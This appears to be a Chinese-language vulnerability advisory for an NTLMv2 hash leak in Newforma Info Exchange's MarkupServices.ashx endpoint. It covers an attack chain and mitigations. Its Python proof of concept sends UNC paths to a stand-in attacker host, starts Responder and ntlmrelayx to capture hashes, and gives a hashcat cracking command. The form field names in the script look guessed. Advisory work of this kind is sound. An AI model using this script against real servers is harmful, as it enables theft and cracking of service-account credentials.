IPBUF安全漏洞报告
English
CVE-2025-35058 CVSS 5.9 中危

CVE-2025-35058 Newforma NIX MarkupServices.ashx NTLMv2哈希泄露漏洞

披露日期: 2025-10-09
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-35058
漏洞类型
NTLMv2哈希泄露/凭据强制认证
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Newforma Info Exchange (NIX)

相关标签

NTLMv2哈希泄露凭据强制认证SMB连接劫持NewformaInfo ExchangeNIXMarkupServices.ashx服务端请求伪造SSRFWindows认证

漏洞概述

CVE-2025-35058是Newforma Info Exchange(NIX)产品中的一个中危安全漏洞,CVSS评分为5.9。该漏洞存在于NIX的'/UserWeb/Common/MarkupServices.ashx'端点中,允许远程未经认证的攻击者诱使NIX服务器向攻击者控制的系统发起SMB(Server Message Block)连接请求。在连接建立过程中,NIX会以明文形式将客户配置的NIX服务账户的NTLMv2哈希发送给攻击者控制的服务器,攻击者可以捕获并离线破解该哈希,从而获取服务账户的有效凭据。

该漏洞的危害主要体现在凭据泄露层面。一旦攻击者成功获取NIX服务账户的NTLMv2哈希并完成破解,便可以使用该账户凭据登录NIX系统,进而访问系统中存储的项目信息、文档、图纸等敏感数据。由于该服务账户通常具有较高的权限级别,凭据泄露可能导致大规模数据泄露。此外,攻击者还可以利用获取的凭据进行横向移动,攻击内网中的其他系统,扩大攻击影响范围。

该漏洞的CVSS向量显示其攻击复杂度较高(AC:H),这主要是因为攻击者需要搭建恶意的SMB服务器并具备一定的网络条件来接收哈希。但整体而言,由于无需认证(PR:N)、无需用户交互(UI:N)即可触发,且机密性影响为高(C:H),该漏洞仍然构成了严重的安全威胁。该漏洞由CISA及相关安全研究人员发现并披露,披露日期为2025年10月9日。

技术细节

该漏洞的核心原理是利用Windows系统的NTLM认证机制中的强制认证漏洞(Coercion-based attack)。NTLMv2是Windows网络认证协议的一种形式,当客户端尝试通过SMB协议连接到服务器时,会自动使用当前用户的凭据进行NTLMv2认证。

在正常情况下,SMB连接应该由客户端主动发起到合法的服务器。但在CVE-2025-35058漏洞中,NIX的'MarkupServices.ashx'端点存在服务端请求伪造(SSRF)或类似的连接控制缺陷,攻击者可以通过精心构造的HTTP请求,使NIX服务器使用其服务账户凭据主动连接到攻击者控制的SMB服务器。

具体利用方式如下:
1. 攻击者首先搭建一个恶意的SMB监听服务器(如使用Responder、Impacket的ntlmrelayx等工具)。
2. 攻击者向NIX的'/UserWeb/Common/MarkupServices.ashx'端点发送特制的HTTP请求,该请求中包含指向攻击者SMB服务器路径的引用(例如UNC路径\\attacker.com\share)。
3. NIX服务器在处理该请求时,会尝试加载或访问该远程资源,从而触发SMB连接。
4. 在SMB握手过程中,NIX服务账户会以NTLMv2哈希的形式发送认证质询响应。
5. 攻击者的恶意SMB服务器捕获该NTLMv2哈希。
6. 攻击者使用哈希破解工具(如Hashcat)离线破解哈希,获取明文密码。

该漏洞的利用不需要任何认证凭据(PR:N),也不需要受害者进行任何交互操作(UI:N),因此具有较高的可利用性。攻击复杂度被评定为高(AC:H),是因为攻击者需要具备搭建恶意SMB服务器的能力,并确保网络可达性。

攻击链分析

STEP 1
步骤1:搭建恶意SMB服务器
攻击者在其控制的服务器上部署SMB监听工具(如Responder或Impacket的ntlmrelayx),用于接收并捕获目标NIX服务器发起的SMB连接请求及其中包含的NTLMv2认证数据。
STEP 2
步骤2:构造恶意请求
攻击者向目标NIX服务器的'/UserWeb/Common/MarkupServices.ashx'端点发送精心构造的HTTP请求,请求中包含指向攻击者SMB服务器的UNC路径(如\\\\attacker.com\\share),用于触发服务端向恶意服务器发起连接。
STEP 3
步骤3:触发NTLMv2认证
NIX服务器在处理恶意请求时,会尝试访问请求中引用的远程资源,从而使用其服务账户凭据向攻击者的SMB服务器发起连接。在SMB握手过程中,服务器会以NTLMv2哈希形式发送认证质询响应。
STEP 4
步骤4:捕获哈希
攻击者的恶意SMB服务器接收并记录NIX服务账户发送的NTLMv2哈希值,该哈希包含了用户名、域名、时间戳和密码的哈希值。
STEP 5
步骤5:离线破解哈希
攻击者使用哈希破解工具(如Hashcat的-m 5600模式或John the Ripper)对捕获的NTLMv2哈希进行离线暴力破解或字典攻击,获取服务账户的明文密码。
STEP 6
步骤6:利用凭据访问系统
攻击者使用破解得到的NIX服务账户凭据登录NIX系统,访问项目文档、图纸等敏感数据,或利用该账户进行内网横向移动,扩大攻击影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-35058 PoC - NTLMv2 Hash Capture via MarkupServices.ashx # This PoC demonstrates how to trigger NIX to leak NTLMv2 hash to an attacker-controlled SMB server import requests import threading import subprocess import sys TARGET_URL = "https://target-nix-server/UserWeb/Common/MarkupServices.ashx" ATTACKER_SMB_SERVER = "\\\\ATTACKER_IP\\\\evilshare" def trigger_ntlm_leak(target_url, smb_path): """ Send a crafted request to MarkupServices.ashx to force NIX to initiate an SMB connection to the attacker's server. The request includes a UNC path pointing to the attacker's SMB server. """ # Craft payload with UNC path reference payload = { "file": smb_path, "path": smb_path, "url": smb_path, "imageUrl": smb_path, "source": smb_path } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) print(f"[+] Request sent. Status: {response.status_code}") except Exception as e: print(f"[-] Request failed: {e}") def start_smb_listener(interface="eth0"): """ Start Responder to capture NTLMv2 hashes from incoming SMB connections. Responder should be configured to listen on the attacker-controlled IP. """ print("[*] Starting Responder to capture NTLMv2 hashes...") # Command: responder -I eth0 -wrf # Hashes will be saved to /usr/share/responder/logs/ subprocess.run([ "responder", "-I", interface, "-wrf" ]) def start_ntlmrelayx(capture_only=True): """ Alternative: Use Impacket's ntlmrelayx to capture and relay NTLMv2 hashes. """ print("[*] Starting ntlmrelayx to capture NTLMv2 hashes...") # Command: impacket-ntlmrelayx -smb2support -t smb://TARGET subprocess.run([ "impacket-ntlmrelayx", "-smb2support", "-of", "captured_hashes.txt" ]) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_nix_url>") sys.exit(1) target = sys.argv[1] # Start SMB listener in a separate thread listener_thread = threading.Thread(target=start_smb_listener, daemon=True) listener_thread.start() # Trigger the vulnerability trigger_ntlm_leak(target, ATTACKER_SMB_SERVER) print("[*] Waiting for NTLMv2 hash capture...") print("[*] Check Responder logs for captured hashes.") print("[*] Crack the hash with: hashcat -m 5600 captured_hash.txt wordlist.txt") # Steps to exploit: # 1. Set up attacker machine with Responder or ntlmrelayx listening for SMB connections # 2. Modify ATTACKER_SMB_SERVER to point to your IP # 3. Run: python3 poc.py https://target-nix-server # 4. The NIX server will connect to your SMB server and leak the service account NTLMv2 hash # 5. Crack the hash offline using Hashcat (mode 5600) or John the Ripper

影响范围

Newforma Info Exchange (NIX) - 所有未修复版本

防御指南

临时缓解措施
在无法立即应用补丁的情况下,建议采取以下临时缓解措施:1)在NIX服务器和内部网络边界防火墙中阻止所有出站的TCP 445端口(SMB)连接,防止哈希泄露到外部;2)启用SMB签名(RequireSMBSigning)以防止NTLM中继攻击;3)为NIX服务账户设置强密码并定期更换,降低哈希被破解的风险;4)部署网络监控规则,监控从NIX服务器发出的异常SMB连接请求;5)限制NIX服务账户的权限范围,仅授予其必要的最小权限;6)监控Active Directory中的异常认证事件,及时发现潜在的凭据泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表